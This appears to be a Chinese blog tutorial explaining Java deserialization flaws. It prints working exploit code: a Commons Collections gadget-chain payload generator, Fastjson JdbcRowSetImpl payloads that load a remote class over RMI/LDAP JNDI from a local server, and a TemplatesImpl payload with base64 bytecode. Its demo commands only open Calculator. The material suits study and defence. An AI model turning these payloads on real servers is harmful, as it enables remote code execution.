java反序列化与Apache CC链、fastjson反序列化的理解与研究
文章目录
- 前言
- 为什么会存在序列化技术
- 序列化与反序列化
- 补充
- 为什么会有反序列化漏洞
- JAVA Apache-CommonsCollections 序列化RCE漏洞分析
- Fastjson 反序列化漏洞
- 怎么确定是用了fastjson
- 机制
- JdbcRowSetImpl
- RMI+JNDI
- LDAP+JNDI
- TemplatesImpl
- Poc
- 参考文章
1. 前言
java反序列化是将一个序列化文件或者序列化数据进行还原处理。一个被序列化的数据的2进制数据特征是以aced0005开头,有点类似于exe文件都有PE头一样,具体如下所示:
序列化技术的出现,是为了方便数据保存与传输的。它将数据变成了字节的形式进行保存并便于通过socket进行传输。
2. 为什么会存在序列化技术
1、方便对象
的保存
2、方便对象
在网络上传输
网络上只能传输字节流数据,对象本是无法在网络上直接进行传输的。而序列化技术可以将对象进行字节流化,进而在网络上进行传输。
参考文章:什么是序列化,为什么要序列化。
2. 序列化与反序列化
序列化一个对象,并存储到文件test中,参考代码Ser.java:
import java.io.*;
class Malicious implements Serializable{
public String test_var = "Variable";
private void readObject(java.io.ObjectInputStream ObjectIn) throws IOException, ClassNotFoundException{
//执行默认的readObject()方法
ObjectIn.defaultReadObject();
//执行打开计算器程序命令
Runtime.getRuntime().exec("open /Applications/QQ.app/");
}
}
public class Ser {
public static void main(String[] args) throws IOException {
String path = "/Users/shukasakai/Desktop/test";
FileOutputStream file = new FileOutputStream(path);
ObjectOutputStream oos = new ObjectOutputStream(file);
Malicious Mal_Demo = new Malicious();
oos.writeObject(Mal_Demo);
file.close();
oos.close();
}
}
将test反序列化,并输出对象中的test_var参数,参考代码UnSer.java:
import java.io.*;
public class UnSer {
public static void main(String[] args) throws IOException, ClassNotFoundException {
String path = "/Users/shukasakai/Desktop/test";
FileInputStream file = new FileInputStream(path);
ObjectInputStream oos = new ObjectInputStream(file);
Malicious Mal_Demo = (Malicious) oos.readObject();
System.out.println(Mal_Demo.test_var);
file.close();
oos.close();
}
}
结果在执行反序列化的时候成功弹出QQ:
补充
return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
如果obj是JSONObject的实例,则返回(JSONObject)obj,如果不是,则返回(JSONObject)toJSON(obj)。
3. 为什么会有反序列化漏洞
暴露或间接暴露反序列化API,导致用户可以操作传入数据,攻击者可以精心构造反序列化对象并执行恶意代码。反序列化漏洞一般都与重写的readObject
函数或者JNDI、java反射等技术有关系。
4. JAVA Apache-CommonsCollections 序列化RCE漏洞分析
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections4.*;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.TransformedMap;
public class test3 {
public static Object Reverse_Payload() throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open /Applications/Calculator.app" })
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map<String, String> innermap = new HashMap<>();
innermap.put("value", "value");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
//通过反射获得AnnotationInvocationHandler类对象
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//通过反射获得cls的构造函数
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
//这里需要设置Accessible为true,否则序列化失败,值为 true 则指示反射的对象在使用时应该取消Java语言访问检查
ctor.setAccessible(true);
//通过newInstance()方法实例化对象
Object instance = ctor.newInstance(Retention.class, outmap);
return instance;
}
public static void GeneratePayload(Object instance, String file)
throws Exception {
//将构造好的payload序列化后写入文件中
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//读取写入的payload,并进行反序列化
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
in.readObject();
in.close();
}
public static void main(String[] args) throws Exception {
GeneratePayload(Reverse_Payload(),"obj"); //序列化
payloadTest("obj"); //反序列化
}
}
简单来说就是:
- 有一个接口:
org.apache.commons.collections.Transformer
; - 有一个 InvokerTransformer 类实现了 Transformer接口中的一个函数,这个函数名为transform。
- InvokerTransformer中实现的这个transform的逻辑是
使用反射机制调用其他任意类
,可以简单的理解这个transform就是个命令执行的函数。 - 用户可以控制InvokerTransformer这个类中传入transform的参数,但是暂时无法直接调用transform函数,也就是说我们只能传入命令,但无法启动transform执行我们传入的命令。
- 我们创建有一个
Transformer类型
数组,其中有我们可定义参数的InvokerTransformer对象,其中有我们想执行的命令。将这个数组传入transformerChain对象中。 - transformerChain对象的transform函数可以调用
传入的Transformer数组
中每一个InvokerTransformer对象的transform函数,transformerChain对象是transformer类型的。
也就是说我们只要寻找一种可以调用
transformerChain对象的transform函数
的方法,就可以实施RCE攻击了。
我们又发现:transformedMap对象是map类型的
,transformedMap对象中的 checkSetValue() 方法会触发传入的transformer类型的值
的transform方法,也就是我们只要触发transformedMap对象的checkSetValue方法即可达到目的,我们发现了Map类型对象的setValue函数
可以触发transformedMap对象的checkSetValue方法。于是就有了下面的做法:
- 使用transformedMap的decorate函数与
transformer类型恶意transformerChain对象
生成一个恶意的map对象,这个对象中含有传入的transformer类型对象。 - 想办法触发这个map对象的setValue函数,间接
触发transformerChain对象的transform方法
,进而达到RCE。所以这时候我们的核心就是如何找到触发setValue函数的点。
接着,我们又发现,AnnotationInvocationHandler类有一个类成员memberValues是Map类型,且AnnotationInvocationHandler类的readObject函数会对memberValues的每一项都调用setValue函数。
这时候已经解决了所有的问题,触发链也已经凑齐。我们只需要序列化AnnotationInvocationHandler类,并将恶意参数也就是我们之前生成的恶意Map类型变量传入其中,然后发送到服务端,等待服务端的反序列化触发readObject函数触发了setValue函数
后,即可实现RCE攻击。
5. Fastjson 反序列化漏洞
- FastJson反序列化的时候,JSON数据中的
@type的值指向的是被反序列化的目标类。
1. 怎么确定是用了fastjson
Dnslog
报错信息
DoS时间延迟*
畸形键值对
pom.xml
2. 机制
FastJson反序列化的时候有两个函数,一个是parse,一个是parseObject。特殊机制如下:
- 使用parse触发反序列化,会调用目标类的所有set函数。
- 使用parseObject触发反序列化,会调用目标类所有set跟get函数。
3. JdbcRowSetImpl
JdbcRowSetImpl利用链会导致JNDI注入,可以使用RMI/ldap+JNDI注入进行利用。
1. RMI+JNDI
Poc:
如果下面这段json数据被反序列化了,则会造成漏洞。
{ "@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}
自己配置rmi服务,并将恶意类放在服务器上,且用reference设置。参考代码如下:
public class JNDIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Exloit",
"badClassName","http://127.0.0.1:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit",referenceWrapper);
}
}
远程的恶意类badClassName.class:
public class badClassName {
static{
try{
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}catch(Exception e){
;
}
}
}
2. LDAP+JNDI
和RMI+JNDI一样,只是拉取恶意类的通信方式变成了LDAP,Poc如下:
{ "@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1099/badClassName", "autoCommit":true}
4. TemplatesImpl
Fastjson通过bytecodes字段传入恶意类,调用outputProperties属性的getter方法时,实例化传入的恶意类,调用其构造方法,造成任意命令执行。
但是由于需要在parse反序列化时设置第二个参数Feature.SupportNonPublicField
,所以利用面很窄。
1. Poc
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class TEMPOC extends AbstractTranslet {
public TEMPOC() throws IOException {
Runtime.getRuntime().exec("open -a Calculator");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
TEMPOC t = new TEMPOC();
}
}
将上述代码编译为class文件,然后使用下面的代码生成利用payload:
import base64
fin = open(r"TEMPOC.class","rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
poc = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["%s"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}'% fout
print poc
最终生成的Poc如下:
{ "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAkACUBAAZURU1QT0MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACwAEAAwADQANAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFgAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGQAIABoADAAAAAQAAQAUAAEAFQAAAAIAFg=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}
可以理解成直接将传入的class文件进行了实例化,触发了构造函数进而造成RCE攻击。
从1.2.25开始对这个漏洞进行了修补,修补方式是将TypeUtils.loadClass替换为checkAutoType()函数,这个函数的作用就是判断那个类是否在白名单中,如果不在看是否在黑名单中,有大概以下的绕过方式:
6. 参考文章
深入理解 JAVA 反序列化漏洞
Fastjson 1.2.22-1.2.24反序列化漏洞分析
理解RMI、JRMP、JNDI、java反射
还没有评论,来说两句吧...